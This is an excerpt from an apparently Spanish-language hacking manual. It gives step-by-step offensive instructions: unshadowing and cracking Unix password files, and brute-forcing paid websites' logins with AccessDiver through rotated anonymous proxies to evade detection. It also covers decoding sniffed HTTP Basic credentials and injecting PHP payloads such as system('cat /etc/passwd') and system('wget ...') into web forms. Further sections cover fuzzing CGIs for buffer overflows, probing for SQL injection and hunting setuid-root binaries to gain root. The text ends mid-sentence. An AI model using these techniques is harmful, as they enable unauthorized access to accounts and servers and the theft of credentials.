gerryson:qOZsX6df4BI:2:3:Gerryson:/home/gerry:/bin/bash La línea de acá arriba puede ser analizada como sigue: 156 . La caja de texto se ha programado de esa manera. ni se dé cuenta de la longitud de la misma. por otro lado. esto significa que copias de las contraseñas encriptadas de los usuarios se obtendrían fácilmente y hace posible ejecutar un programa automatizado buscador de contraseñas (Crack) contra ellas. no podremos invertir el proceso para obtener AOL123 a partir de 012112AGT. atraviesa por un algoritmo definido y se encripta para ser guardada en el disco duro o en el servidor web. Este archivo debe ser legible por todos los usuarios para que ciertas funciones del sistema operen correctamente. Sin embargo. guardan las contraseñas encriptadas en un archivo muy protegido separado y hacen mucho más difícil crackear las contraseñas. pero la contraseña que tecleamos se guardará siempre en forma encriptada. La Autenticación Cuando estamos creando una nueva cuenta en algún servicio como blogs. la contraseña de cada usuario de Linux se guarda y encripta en el archivo /etc/passwd. Cuando tecleamos nuestra contraseña. siempre se pide un username y una contraseña. Si ambos coinciden. de otro modo. De este modo. Tomemos un ejemplo para hacer esto más claro: digamos que nuestra contraseña en texto plano es AOL123. El nombre de usuario se guarda principalmente en texto plano (plain text). por ejemplo: * * * * * * * * con la finalidad de que si alguien está viendo por encima de nuestro hombro.Cuando un hacker malicioso logra penetrar las murallas del sistema. Ahora bien.

una vez que el archivo de contraseñas ha sido desensombrecido podemos usar ya sea Jack The Ripper o Cracker Jack para reventar las contraseñas. Ahora. Se pueden obtener ambos programas crackers de un montón de lugares: http://astalavista. Debemos asegurarnos de que el archivo de contraseñas que tratamos de craquear no se encuentre ensombrecido.) En un archivo de éste tipo lo que sucede es que el campo contraseña es reemplazado por un '*' (El '*' es llamado token o símbolo designador). En algunos sistemas el '*' que reemplaza las contraseñas en archivos de contraseña ensombrecidos son también '$' o '#' ó aún el mismo NombreUsuario.NombreUsuario: gerryson Contraseña Encriptada:  qOZsX6df4BI NúmeroUsuario: 2 NúmeroGrupo: 3  NombreReal:  Gerryson DirectorioHome: /home/gerry Tipo de Shell: /bin/bash  Como el algoritmo de código esta en forma que no puede descifrarse. debido a que estos crackeadores no pueden descifrar este tipo de archivos.box. El tema de los Password Crackers se revisará en el siguiente apartado.com http://www. De tal modo que antes de comenzar a craquear el archivo de contraseñas primero necesitamos desensombrecer (unshadow) las contraseñas. Tan es así.com 157 . También necesitamos un listado de diccionario o un Wordlist (listado de palabras. Podemos quitar la sombra de las contraseñas ejecutando utilerías programadas en C que se pueden descargar fácilmente del Internet.hackersclub.anticode. pudiera ser que en lugar de la línea de arriba tuvieramos que enfrentarnos con algo como lo de abajo: gerryson:*:2:3:Gerryson:/home/gerry:/bin/bash La línea de arriba ha sido tomada de un archivo de contraseñas ensombrecido (Shadowed.sk http://www. que la contraseña oculta en código no se pone de manifiesto en el archivo de contraseñas y la lista de contraseñas encriptadas se guardan en un archivo diferente que no es legible para los usuarios corrientes. Cracker Jack es un programa cracker para archivos de contraseñas Unix utilizado en DOS que sólo puede realizar craqueos basados en el uso de diccionarios.) Mientras más global sea el wordlist más probabilidad habrá de poder reventar el archivo de contraseñas. puede requerirse de un rompedor de contraseñas para desencriptarla.) Ahora bien. La línea de ejemplo del archivo passwd dado aquí fue una línea tomada de un archivo de contraseña no ensombrecido (unshadowed.

es decir. los Crackers no extraen la contraseña del archivo sino que la someten a una combinación de letras. Si estos dos concuerdan. para utilizar software de esta naturaleza. Se usan para revelar una contraseña olvidada con la que se protegió un archivo comprimido en Zip o Rar. lo mejor es usar un programa que lo haga por nosotros. Puesto que las contraseñas son encriptadas por un algoritmo de un solo sentido. a veces puede tener éxito. Existen programas que nos permiten rotar los proxies para que la página no sospeche nada. Veamos como es que trabajan. En webs especializadas pueden encontrarse password crackers para conocer la contraseña de documentos protegidos de MS Office. entonces el password cracker exhibe la contraseña en texto plano. cuando esto no es posible.Password Cracking El método más común para craquear contraseñas es adivinando. de un Crack de contraseñas. Esto se debe a que no prueban todas las combinaciones de claves posibles. Éstos son más rápidos pero la mayoría de las veces no tienen éxito y no devuelven la contraseña. sobre todo los de pago por membresía. números y letras. sin embargo toman más tiempo para romper la contraseña. como no es factible probar miles de usernames y passwords para ver cuales coinciden con los de una cuenta. tanto minúsculas y como mayúsculas. Los usuarios tienden a ignorar la necesidad de usar contraseñas fuertes. Los hay de dos tipos: Los basados en Fuerza bruta y en Diccionarios. los encripta pasando los caracteres a través del algoritmo original y compara este valor con el valor encriptado almacenado. pero este tipo de protección puede ser evitada utilizando proxies. Ataque Web Miles de sitios en Internet. por lo que son más eficaces. aunque requiere de mucha suerte. mejor conocido como password cracker. Sin embargo. Sin embargo. debemos tener preferentemente una conexión de banda ancha. Existen programas password cracker que se bajan de Internet y que son legales. introducir un nombre de usuario y una contraseña (username y password). pero debemos tener amplia experiencia para poder aplicarla con éxito. requieren para entrar a ver su contenido de un login. ya que se hacen decenas de conexiones a la vez. Es aquí donde se puede emplear la ingeniería social. averiguadores o descifradores de contraseñas (en inglés password crackers) son virtualmente cualquier programa que pueda desencriptar una contraseña o tenga la capacidad de deshabilitar la protección proveída por ella. Los rompedores.) Este tipo de password cracker tiene una mayor tasa de éxitos. Sin embargo. Algunos de estos sitios son fáciles de penetrar debido a una seguridad muy pobre. la mayoría gratuitos Forma de Actuar La mayoría de los password crackers utilizan una técnica denominada análisis comparativo para poder dar con la contraseña. 158 . Los password crackers de Fuerza bruta prueban todas las combinaciones posibles de todas las teclas que puedan encontrarse en un teclado común (símbolos. En ciertas webs existe una protección para evitar la entrada a un atacante cuando éste repite demasiados logins. Esto es debido a que consideran todas las posibles claves. Los basados en diccionarios prueban todas las contraseñas de una lista de palabras predefinidas de un diccionario para romper la contraseña. Ésta técnica funciona debido a un factor muy humano: la pereza. necesitamos recoger todos los tipos de información sobre la víctima primero. Para empezar a adivinar la contraseña. son incapaces de craquear aquellas contraseñas que poseen símbolos o números en su estructura. el método más común y exitoso de crackeo de contraseñas es el uso precisamente.

no queremos que nuestra dirección IP sea revelada. que son de gran utilidad ya que los cracker que han obtenido esos logins pudieron haber utilizado una wordlist fresca y actualizada. Combo File: Es un archivo de wordlist pero constituído por dos columnas. Esta herramienta actúa de forma parecida al ComboMania cuando busca wordlists. El secreto de un experimentado cracker es precisamente su wordlist. Se irán conociendo conforme se avance en el conocimiento del uso del programa. Fake Reply: Es una respuesta falsa que normalmente devuelve el servidor cuando se percata de que el login no es auténtico. No se limitan solamente a webs. El ComboMania grabará los logins en un archivo de texto plano dentro del directorio donde reside el archivo ejecutable del programa. Cada conexión lanzará un login. Para conseguir una lista de proxies: Existen diversos sitios en la web que contienen listados de proxies anónimos. proxies que no revelan nuestra dirección IP. Es decir. si se configura un programa rompedor de contraseñas para emplear 30 bots. eligiendo primero la opción “Currently Used” y después “Load a Combo File”. sino también a programas que están protegidos con contraseñas. Éste archivo podrá ser cargado por el AccessDiver. Aunque ambos tienen alta efectividad. Para esto podemos usar el software GeoWhere. 3128 o el 80. Lo primero que se necesita es un programa como el AccessDiver o el Goldeneye. Tiene la posibilidad de bajar palabras de sitios ya crackeados. Es por esta razón que muchas veces no se tiene éxito la primera vez. lo ejecutamos y posteriormente elegiremos en el menu “My Skill” la opción “Expert”. GeoWhere busca en la red páginas que contengan listados de proxies y va construyendo una lista que nos será de utilidad. El programa AccessDiver carece de una página web oficial pero puede encontrarse en variadas páginas de cracking. significa que generarán 30 conexiones simultáneas con el sitio. Comprobación de Proxies: Hay que tomar en cuenta que no todos los proxies listados serán de utilidad. Se puede hacer una búsqueda en Google con la frase “Anonymous proxy list” o hacer uso de un programa que nos consiga los proxies. Los passwords crackers cargan estos archivos para poder emplear los distintos nombres de usuario y contraseñas a la hora de lanzar logins a sitios web. o sea. Esto se puede solventar usando proxies adecuadamente. Pueden buscarse tutoriales en Internet al tiempo que uno se familiariza con la ayuda.Terminología del mundillo de los crackers Wordlist: Es una lista de palabras en formato de texto plano (plain text). AccessDiver Tras instalar el software. Para conseguir una Wordlist: Para los primeros intentos es recomendable descargar el software ComboMania que es una herramienta que hace una búsqueda de wordlists en la red. Muchas de estas opciones no las usaremos la primera vez. Weak Login: Es la combinación de Username/Password real que queremos obtener a la hora de crackear un sitio. ambas palabras separadas por dos puntos (:). Para importar el wordlist. Debemos recordar que la mayoría de los proxies hacen uso de los puertos 8080. Debemos aclarar que cuanto menos hayan sido usadas. Regularmente la irá construyendo mientras más transite en este mundillo y vaya acumulando experiencia. En una columna se encuentra el nombre del posible usuario o username y en la otra la contraseña. Bot: Se le conoce así a cada conexión independiente que se generará en el sitio. Con esta acción se activarán varias opciones extra. indicaremos al AccessDiver que lo cargue desde el menú “Dictionary” o “Wordlist”. Después deberemos conseguir una wordlist y una lista de proxies. Por un lado. Existen cientos de de estas listas por todo internet para ser bajadas por cualquier persona. Para evitar estos inconvenientes se requiere comprobar cada proxy 159 . Word Manipulation: Es la manipulación de una wordlist de manera que podamos modificar las palabras con pautas establecidas por uno mismo. así como tampoco nos sirven proxies sumamente lentos. más probabilidad tendremos de poder penetrar el sitio. el más recomendable es el primero en virtud de su facilidad de uso.

Change Proxy On Errors: Permite omitir un proxy cuando éste responde con un error debido a un problema interno. Sólo de ésta manera podemos dar por seguro haber agotado una wordlist. deberán ser enviados al olvido. la protección dentro de la página web no nos permitirá realizar más de diez intentos seguidos. Ambos logins asumen que quien quiere acceder al sitio es un abonado que paga por el servicio prestado. sobre todo los que son de paga. Login Standard y HTML Existen dos clases de logins para acceder a sitios web. puede recomendarse dejar marcada la casilla. ya sea porque el servidor se cae o porque detecta que los logins no son genuinos. pero esta vez seleccionando “Add selected proxies in your proxy list”. Para ver si realmente los proxies funcionales en verdad ocultan nuestra dirección IP. Cualquiera de los tipos depende principalmente de la manera en que fue configurado cuando se construyó el sitio web. Otras Opciones de Proxy Proxy Skipping: Permite omitir un proxy cuando uno no funciona como queremos. pero así mismo y dependiendo del sitio. debemos usar la comprobación de anonimato del AccessDiver. podemos utilizarlos en nuestra lista definitiva. Esto ocurre cuando el sitio detecta que el intento de login es en realidad un cracking attempt. que no se utiliza habitualmente. permite crackear logins HTML (ver más adelante) Retry The User Pass Again After Skipping: Opción que nos permite reintentar una determinada combinación de usuario y contraseña luego de haber fracasado previamente. 160 . Rotar Proxies: Ésta opción del AccessDiver nos permite configurar cuántos intentos de acceso se efectuarán antes de cambiar de proxy. Posteriormente pulsamos en “Speed/Accuracy Test” para iniciar la verificación. Change Proxy On Specific HTML Keyword(s): Ésta opción. Change Proxy On Redirections: Se cambia el proxy cuando el sitio nos redirige a otra parte. en la mayoría de los casos. la mayoría de las páginas que basan su login en HTML son gratuitos.de a uno por uno. El tiempo que tarda en efectuarse la comprobación dependerá en mucho de lo larga que sea la lista. los logins basados en HTML son aquellos en que los campos de usuario y contraseña se encuentran dentro de la página misma. Importamos el listado de proxies. el cual debe salir a a la luz al realizar el primer intento de crackeo. Los hay basados en Htaccess (standard) y los HTML. Los primeros son aquellos en los que cuando deseamos entrar en una sección restringida del sitio nos aparece una ventana del sistema operativo a modo de ventana emergente (o pop-up) solicitándonos el nombre de usuario y la contraseña. AccessDiver cuenta con un escudriñador y para aprovecharlo. Dependiendo del caso. Por otra parte. Esto puede deberse a un error del proxy o a un Fake Reply. Con esto eliminaremos aquellos proxies que no funcionan. Despues de hacer la purga de proxies. Para no tener que hacerlo manualmente. Change Proxy On Fake Replies: Se omite un proxy cuando el sitio emite una respuesta falsa. Para esto debemos pulsar en la opción “Confidentiality tester”. Aquellos que estén por debajo del nivel 3 o que digan “NO”. Las opciones en Access/Settings se dejan marcadas. Antes de comenzar a hacer la comprobación. el proceso puede ser verdaderamente lento. Si bien la velocidad se incrementará al intentar más logins con un mismo proxy. Hacemos click con el botón derecho en “Select all” y luego repetir la operación. Ésta cifra debe establecerse teniendo en cuenta el nivel de seguridad del sitio. Podremos ver que los proxies se catalogan por nivel dependiendo del grado de anonimato que proveen. Podermos hacer click en “My list” para ver el listado. mientras que muchas páginas pornográficas tienen un login standard. debemos hacer click en la pestaña “Proxy” y luego en “Proxy Analyzer”. pulsamos en la pestaña “Parameters” en la parte inferior de la pantalla y marcamos la casilla “Auto-deletion of bad proxies after a test completion”. De cualquier manera.

Por lo regular. La opción “Finding a Keyword means we found a weak login” significa que cuando encuentre la palabra clave la tome como un login válido. Los sitios con login HTML requieren de cierta maña por parte del cracker debido a que el software carece de medios para detectar si tuvo éxito en penetrar el sitio o no (en ambos casos la respuesta es una página HTML). es necesario configurar una palabra clave o keyword y se hace intentando entrar manualmente al sitio web tecleando un username y una clave cualquiera. escrito en 1992 por el inventor del Web. Esta información es codificada con el formato base64. Hacemos click en standar y aparecerá una pantalla en la cual se describe el estado de cada uno de los bots. Existen programas especiales que sirven para codificar y decodificar las contraseñas éstas. Un error común es “Bot relaunched:1600” y significa que el tiempo de espera para la respuesta se agotó (time out). Si se reciben muchos de estos errores probaremos a disminuir la cantidad de bots. al recibir la página de respuesta a la petición de login. Hay que tener paciencia y práctica. uno pide el nombre de usuario y el otro. Si no aparece. Por ejemplo podremos obtener la frase “Contraseña inválida” o “Invalid password”. que tomó muchos de dichos códigos  de los correspondientes al FTP (File Transfer Protocol). Esto no funciona ni sirve en la mayoría de los casos dado que desconocemos cuáles son las palabras clave contenidas en la página de bienvenida cuando ingresamos con un login válido. 401 y otros códigos de estado  forman parte del protocolo HTTP de WWW. Al dar con un login auténtico. Desde esta pantalla se pueden hacer cosas para averiguar claves debido a que su seguridad. es muy baja. que en realidad también es bastante débil. Especificaciones MIME Las especificaciones MIME (Multipurpose Internet Mail Extensions: Extensiones Multipropósito del Correo Internet) definen el mecanismo para codificar información binaria cuando se transmiten por correo. a la hora de transmitir datos. Para llevar a cabo lo anterior. 161 . entre símbolos de “menor y mayor que“ (<>). Hay que prestar atención a la columna “Last response received”. el programa comprobará si en la página está contenida esta palabra y detectará que se trató de un login incorrecto. sino que las codifica con un método llamado base64. los proxies utilizados por cada uno y los usuarios y contraseñas siendo probados en los logins. Tim Berners­Lee. Si esta acción no da resultado. deberemos escanear otra vez los proxies porque tal vez algunos no sirvan. todo va bien. En estas aparecen dos campos. puesto que el usuario y la contraseña son inválidos. Para resolver ésta cuestión. la contraseña y son de lo más común en la red. En la página de respuesta nos aparecerá una cierta palabra o frase que nos será de utilidad. Al establecer esta palabra en el AccessDiver. Si la mayoría son “401 -Authorization required”. sabrá que dió en el punto. El proceso es simple y reversible ya que una misma palabra produce el mismo resultado cuando se codifica. tales como archivos adjuntos. El protocolo básico de autenticación http no trabaja con las contraseñas en texto plano. correspondientes al sitio blanco. Claves de Autenticación HTTP Existen páginas que se protegen por contraseñas HTTP. pulsamos en “Settings” y luego en “HTML Settings” donde veremos un campo donde podremos teclear las palabras. aparecerá en un recuadro amarillo en la parte inferior de la pantalla. Esto ocurre por dos razones. una es que el proxy no está funcionando como debería o que quizá la cantidad de bots son excesivos y la conexión no puede soportarlos todos. 31 401 es un código de estado  que indica a un usuario que no está autorizado a acceder a una página. También podemos hacer click en “Autodetect de POST data” para especificar en el AccessDiver los datos del formulario. los sitios que tienen un login standard son más fáciles y rápidos de crackear en virtud de que siempre responden con una página de error 40131.

com. print decode_base64("rTygtK6Idqw8Ipl4jGhn2a2y3rqw2AD9GHs8gh7is =="). También dependen de cómo el administrador del sistema ha configurado este servicio. desde la primera letra hasta los dos signos de “=”.lobreyda:contraseñaaquí" Los primeros dos campos serían el Nombre de usuario y el último campo es la contraseña en texto plano. Base64 convierte los archivos binarios en texto. como mencioné antes. Una es con Perl. Las especificaciones MIME están recogidas en numerosos RFCs. Después de decodificarlo. se necesita teclear una contraseña errónea y si obtienes el error "401". Pero recordemos que no está encriptada. usando el módulo MIME::Base64. Sería algo como lo siguiente: GET /pagehere HTTP/1. Para ejercer nuestro Oficio con las contraseñas de HTTP. Romper tales contraseñas de Autenticación Básica de HTTP difieren de servidor a servidor. todo es el Login y Contraseña.Las MIME son un conjunto de especificaciones Internet de libre distribución que permiten tanto el intercambio de texto escrito en lenguajes con diferentes juegos de caracteres. En el archivo creado y que ha sido capturado con el sniffer en la red local se verán una ristra de letras y números aparentemente incomprensibles. En estos. es conveniente conseguir el registro creado por el sniffer. En primer lugar. se encuentra lo que una petición sería si se pudiera pedir la página. El código sería como sigue: use MIME::Base64.cpan. para averiguar si el servidor está ejecutando realmente un servicio de Autenticación HTTP. esta codificada en Base64. Fácilmente se puede decodificar de varias formas. se verá algo como lo que viene: "jimmy. entonces podemos estar plenamente seguros que sí. Se encontrarán las palabras junto con la cadena de caracteres: Authorization:Basic ChrkglwjUoitfbmkhgFD8Ecfk9oiR2eds4jk5yh8rHuyFFtgeTyY== Ahora bien. 162 . entre los que se encuentran los RFC1521 y 1848.1 Authorization: Basic rTygtK6Idqw8Ipl4jGhn2a2y3rqw2AD9GHs8gh7is== El texto después de la palabra “Basic” es la contraseña. Aquí se puede buscar la cadena que dice “Authorization:Basic”. Es posible obtener el módulo MIME::Base64 descargándolo desde www. como el intercambio de archivos de diversos formatos entre computadoras y aplicaciones que sigan los estándares de correo Internet. y hay que decodificarlo.

Eso sí. aunque no lo hace bastante completo. para así poder comprobar si tenemos la posibilidad de encontrar una vulnerabilidad. no tumbarlo. Modo Manual Por muchos métodos automáticos que empleemos. El primer paso es efectuar un escaneo de puertos (técnica que ya revisamos en su capítulo correspondiente) al sistema blanco con la finalidad de ver qué servicios están activos en el momento. Se puede descargar desde www. es muy recomendable comenzar por aquí. En primer lugar podemos identificar varios escenarios: -No tenemos acceso al sistema. PERL. pero en honor a la verdad. Una de las grandes ventajas de Nessus es que posee actualizaciones frecuentes sobre vulnerabilidades y soporte de plugins. pero eso es relativo y depende de otros factores que pueden entrar en juego. configuraciones específicas.nessus. pero siempre recordando que cada sistema está configurado de una determinada forma: con sus propias reglas de cortafuegos. PHP. Modo Automático Nessus. en la práctica. Puede existir un exploit remoto que nos de un shell de root inmediatamente sin tener que darle demasiadas vueltas al asunto. llegar a root y convertirse en el superusuario. los problemas de seguridad más comunes se deben a fallos humanos que ocurren cuando llega la hora de desarrollar las páginas web dinámicas o que interactúan con aplicaciones que acceden a bases de datos o con lenguajes de script como pueden ser ASP. Cuando deseamos probar la integridad del sistema. Nessus nada tiene que envidiarle al Retina y es un software open source decididamente muy completo. al final siempre deberemos de realizar nuestras propias pruebas sobre el sistema. debemos ser capaces de interpretar los resultados y ver que alertas nos pueden llegar a ser de utilidad y no una pérdida de tiempo. solo a los servicios que ofrece. Aunque muchos sistemas utilizan Apache como servidor web. Podemos comenzar empleando un escaneador de vulnerabilidades como lo puede ser el Nessus. Aunque esto no suele ser de lo más común. lo que nos ayuda para estudiar la información.. Lo mejor es usar Google para conocer la información sobre las alertas que hayamos encontrado. los escaneadores de vulnerabilidades nos pueden auxiliar de buena manera a conocer por donde y qué lado comenzar. Nessus es un programa muy chismoso ya que hace saltar todas las alarmas de los IDS. El Nessus es una herramienta que realiza un chequeo del sistema probando vulnerabilidades. El resultado de las verificaciones las podemos obtener en diversos formatos como html. haciéndose con el control total del sistema. Una vez que el proceso de escaneo haya finalizado. Si el servidor dispone de un servidor web. etc.org. La utilería de pago Retina The Network Security Scanner es muy similar al Nessus. LaTex o PDF. Este es el punto débil que debemos buscar y es el que más nos facilita las cosas. Es imperativo deshabilitar los ataques DoS en el setup del programa ya que lo que queremos es acceder al sistema. la seguridad de sus servicios o conseguir los privilegios para llevar a cabo nuestras intenciones. lo primero es plantearnos cuáles son nuestros objetivos y qué metodología se va a utilizar para conseguirlos. Podríamos pensar que no es nada fácil si no tenemos una cuenta en el sistema. y la seguridad de este ya está bastante probada. Retina. etc.Conseguir el root en Linux Es el sueño de todo hacker. por lo que estaremos obligados a aplicar nuestros propios criterios a la hora de penetrar el sistema. 163 . -Tenemos acceso a una cuenta en la máquina (lo que facilita mucho las cosas).

podemos probar a teclear algo así como: <? echo “<h1>Worale</h1>”. ya sea por POST o por GET. OpenSSL. a través del cual se organiza el envío y recepción de datos entre navegador y programas residentes en servidores. En general. ambas  sinónimos que denotan admiración o perplejidad.. si existe. nos enteraremos que no lo es. Existen varias formas de saberlo. ?> Ya se ha mencionado que necesitamos conocer que lenguaje de script está usando el servidor.3.inkatel. compañera y amiga.9. Esto se logra usando cualquiera de los protocolos HTTP. que en el caso de Apache podrían ser PHP. ?> y enviar el formulario.Que veamos toda la ristra de caracteres que hemos tecleado.14 OpenSSL/0. Ahora solo tenemos que pensar qué es lo que queremos ejecutar en el servidor. FTP. descargar algún archivo desde el servidor: <? system(“wget http://maquina/archivo”). por lo que si el servidor utiliza PHP.Que obtengamos en grande la cadena de texto “Worale32” (debido a los tags <h1> y </h1>). Debe notarse que la palabra system está pegada al primer paréntesis. preguntar directamente al servidor web: ~$ curl ­l http://www. 32 Worale: Es una interjección creada por Marianita López. donde por lo general sabremos si se trata de un IIS. mod_ssl. mod_perl. etc. como por ejemplo. 164 . ?> El comando cat nos permite ver el archivo passwd que se encuentra en el directorio etc. o bien. Otra idea que sería genial aplicar también es que podremos. 2. En virtud de que todos los programas CGI se colocaban originalmente en un directorio de nombre bin. CGI o Common Gateway Interface (Interfaz Común de Puerta de Enlace o Interfaz Común de paso) es una tecnología de amplio uso en la construcción de documentos web. Aquí lo usamos meramente como ejemplo de una cadena de caracteres.. Es la Interfaz de intercambio de datos estándar en WWW. entre otros.Comenzaremos a buscar páginas que contengan formularios del tipo que autentifican al usuario o del tipo de envío de información.3. TELNET. 2 Jan 2009 15:31:22 GMT Server: Apache/1. podemos hacer uso de cualquier página que nos permita teclear texto y enviarlo a una página o CGI específico.8. La idea es tratar de averiguar qué tipo de control se realiza a los datos que se envían por formulario. Existen formularios que interpretan los datos pasados en ellos. por ejemplo podemos pensar en teclear: <? system(“cat /etc/passwd”). Este comando con la opción I (i máyúscula) nos mostrará las cabeceras que nos devuelve el servidor web.com Date: Wed. Es la contracción de las palabras Wow y Órale. charset=iso­8859­1 curl es una herramienta que permite la transferencia de datos hacia y desde un servidor. La norma CGI indica la interacción entre un servidor y un programa que implementa una página web dinámica.7b Content­Type: text/html. de un Apache o Netscape-Enterprise y de los módulos que se están usando. a veces los programas emplean el término CGI-bin. mientras que en el segundo caso. ver el código fuente de las páginas e intentar encontrar algún comentario o texto que nos permita averiguar qué lenguaje de script está implementado.27 (Unix) mod_perl/1.27 PHP/4. Esto posibilita el saber qué comandos podríamos ejecutar en estos formularios. HTTPS.0 mod_ssl/2. En la página resultante pueden ocurrir dos escenarios: 1. En el primer caso podremos saber que el formulario es vulnerable a la ejecución de código.

Para lograr esto. Ahora solo tenemos que introducir grandes cantidades de datos para intentar comprobar si en algún momento el CGI revienta de alguna forma de las siguientes en los ejemplos: a) Mostrando mensajes de error que nos proporcionen información del path a algunos archivos. al CGI que seleccionemos (aquí deberemos poner el valor que tengamos en el action del formulario). etc En ocasiones conviene introducir también caracteres raros y no usuales. Es posible que tengamos limitado el número de caracteres que podemos introducir en el campo de formularios a través del navegador (con el MAXLENGTH del HTML). que se verifiquen los caracteres tecleados mediante javascript (como el javascript se ejecuta en el cliente. ya sea no permitiendo la ejecución de javascript o bien. Es muy fácil saltarse estas verificaciones. La opción -i nos añadirá también la cabecera devuelta por el servidor.1 Esto también nos devolverá como resultado las cabeceras del servidor web. c) Posibles XSS (Cross Site Scripting) d) Algún desbordamiento de pila (buffer overflow). los programadores no controlan la cantidad de datos que se transmiten por medio de formularios. Otro método para saltarnos las restricciones del tamaño de los campos del formulario es utilizar algún programa que posibilite el envío de cualquier tipo de datos al CGI. podemos grabar el formulario a local. La diferencia entre usar la opción -i y -I (i mayúscula) es que la segunda nos muestra la cabecera del documento HTTP solamente. rellenaremos los formularios con grandes cantidades de datos. modificar o eliminar los valores MAXLENGTH para que no nos limite el número de caracteres que podemos enviar. pero lo hacemos con un programa que nos permita falsificar los valores del formulario como nosotros lo deseemos. En muchas ocasiones. para que los datos se envíen al CGI que queremos atacar. Para realizar esto.También es posible utilizar el telnet directamente al puerto 80 (web) y una vez que nos conectemos enviar al servidor la petición GET / HTTP/1. El Desbordamiento de Memoria Continuamos con los formularios y vamos a intentar provocar un desbordamiento de memoria (también conocido como desbordamiento de pila o Buffer Overflow en inglés). b) Errores de bases de datos que nos informarán qué base de datos están utilizando. Las limitaciones de que hablamos en el párrafo anterior pueden ser esquivadas fácilmente. Al incluir la opción -d. fecha del documento y la versión del HTTP. Veamos un ejemplo de sintaxis que podemos utilizar en un caso real con un formulario con POST: curl -i -d “campo 1=`perl -e 'print “A”x1000` “http://servidor/cgi_victima de esta forma estamos enviando 1000 caracteres A en el “campo 1”. mientras que la primera también nos incluye datos relevantes acerca del nombre del servidor. utilizando los métodos que comentaremos enseguida). 165 . Con esta acción podemos comprobar el comportamiento de los formularios ante estos datos. pero conservando el action original. Colocar este formulario modificado en nuestro servidor web (en caso de tener uno). estamos indicando al programa curl que envíe los datos mediante una petición POST. Lo que debemos hacer es realizar la misma petición que hace el navegador. Podemos seguir utilizando la herramienta curl ya que nos permite realizar peticiones GET o POST usando los parámetros que deseemos.

etc. páginas web no visibles. un formulario solo funcionará si tenemos el javascript activado. comenzaremos a buscar programas que estén setuidados. que puedan o no ser correctamente interpretadas por el CGI y devuelva algún error útil. En muchas ocasiones. Para romper la contraseña de root. debemos obtener el archivo /etc/passwd y aprovecharemos algunos de los programas que existen para obtener las contraseñas mediante diccionarios. Hay que tener en cuenta que la seguridad local puede ser mayor por dentro que de cara al público. Uno de los programas más famosos es John The Ripper aunque también existe el Crack. comillas dobles (“). Actualmente es muy difícil encontrar un equipo que tenga contraseñas sin ensombrecer. Mirar el código fuente de las páginas nos puede proporcionar ideas e información de por donde podemos continuar.packetstormsecurity. solo tenemos que añadir los parámetros de la forma siguiente: curl -i http://servidor/cgi_victima?campo1=`perl -e 'print “A”x1000'`&campo2=Lo_que_sea La idea aquí es ponerse a jugar con los tamaños de los campos del formulario. etc. Lo ideal es averiguar las versiones que se estan utilizando y buscar en páginas como www. Lo primero que tendríamos que hacer es comprobar si el sistema tiene contraseña ensombrecida o no (el tema de las contraseñas fue tratado en capítulos anteriores). Escalando Privilegios de root si tenemos una cuenta en la máquina en la que deseamos obtener los privilegios de root. El código javascript es conveniente entenderlo para conocer la función que tiene en el formulario. A veces. Puede pasar que antes de enviar los datos. Muchos formularios que estan en servidores web atacan directamente a una base de datos. Ahora que hemos visto cómo intentar conseguir acceso desde afuera. etc).com.securityfocus. Este tipo de aplicaciones pueden ser susceptibles a ataques de inyección SQL (SQL injection). Es recomendable leer documentos que traten sobre el SQL injection para ver la potencia de esta técnica. Son varias las veces en que los programadores no tienen en cuenta el formato de los datos introducidos por los usuarios. se pase alguno de ellos a mayúsculas. puntos y comas. como los de usuario y contraseña. se podría decir que las cosas se nos facilitan solo un poco. raro sería que sí. Si esto no da resultados. login/pwd comunes. por eso es necesario saber cómo es que actúa. A nosotros nos interesan los que estén setuidados a root. los programadores “olvidan” comentarios que proporcionan pistas. www. Por medio de esta técnica podríamos ejecutar cualquier sentencia SQL en la base de datos. introducir caracteres raros. por lo que existe la posibilidad de escapar las sentencias SQL mediante comillas simples ('). 166 . nuestra o ajena. combinaciones extrañas. programas que se ejecutarán con permisos de otro usuario.nl e intentar encontrar algún exploit que haga el trabajo por nosotros. bien sea para autenticar a un usuario. Existen otros servicios que también son susceptibles de ser utilizados para ganar acceso. Otra prueba que se puede hacer es introducir estos caracteres en los campos de los formularios con fin de comprobar si son susceptibles a SQL injection. lo que sigue es aprender cómo obtener mayores privilegios una vez que tenemos una cuenta en el servidor. se le agregue algún tipo de prefijo o sufijo. Hasta ahora nos hemos centrado en el servidor web como medio de acceso al sistema. para realizar una búsqueda u obtener una URL a la que redireccionar. pero lamentablemente no existe una metodología concreta. se controle el formato de los datos.Para el caso de una petición por GET. es decir. pero con suerte podremos intentar crackear la contraseña de root. También podemos instalar el mismo servicio en nuestro equipo y tratar de encontrar alguna vulnerabilidad (configuraciones por defecto.

ejecutándolo directamente o con la opción –-help o con el comando man y el nombre del programa.txt '%#m %u %p\n' \) con el comando find buscaremos los archivos que pertenecen al usuario root en el directorio usr/ y que tienen algunos de los bits de permiso que hemos indicado (4000). Intercepta y registra las llamadas al sistema que son requeridas por un proceso dado. El nombre de cada llamada al sistema. En la segúnda búsqueda.txt que se graba en el directorio root y donde se imprimirán los nombres de los archivos que cumplen con las condiciones propuestas.Para hacer esto. Los principales fallos de seguridad que trataremos son el Buffer Overflow. sus argumentos y sus valores de retorno se imprimen en un error estándar o a un archivo especificado con la opción -o. Si en alguno de estos casos obtenemos un Segmentation Fault. el bit que nos interesa buscar es el setuid: ­rwsr­xr­x 1 root root Dec 20 2008 /usr/bin/passwd 24680 que en esta línea corresponde a la s del rwsr (o sea que éste programa se ejecuta con privilegios de root). Pare ello es recomendable emplear la sentencia de perl vista anteriormente. También podemos ver la ayuda del propio programa. Habrá que tener en cuenta muchas cosas. será una buena noticia. aunque no siempre signifique que vamos a poder codificar un exploit para aprovecharnos de él. Si ya lo ha hecho alguien. pero como es muy aburrido teclear casi mil caracteres a mano. deberemos obtener las versiones de cada uno de ellos (por lo general las obtendremos con la opción -v o -V). el setuid es el número 4. el Format String Vulnerability y el Race Conditions. Una vez localizados los archivos. Los estudiantes y los hackers incipientes pueden aprender mucho de un sistema y sus llamadas "rastreando" hasta los programas más ordinarios. con strace (del inglés trace= rastrear) podemos ver todo lo que hace un programa cuando lo ejecutamos. se crea un archivo de texto llamado suid. ejecuta un comando especificado hasta que termina. En resúmen. pues bien. ponemos el perm (de permission) +4000 para que encuentre cualquier archivo que tenga activo este bit de permiso independientemente del estado del resto. las letras que representan los permisos pueden venir en forma de números. sin embargo. no perderemos tiempo. podemos intentar buscar un exploit para este programa en particular. En la primera línea del resultado de la primera búsqueda del find. debemos hacer una búsqueda en todo el sistema los archivos 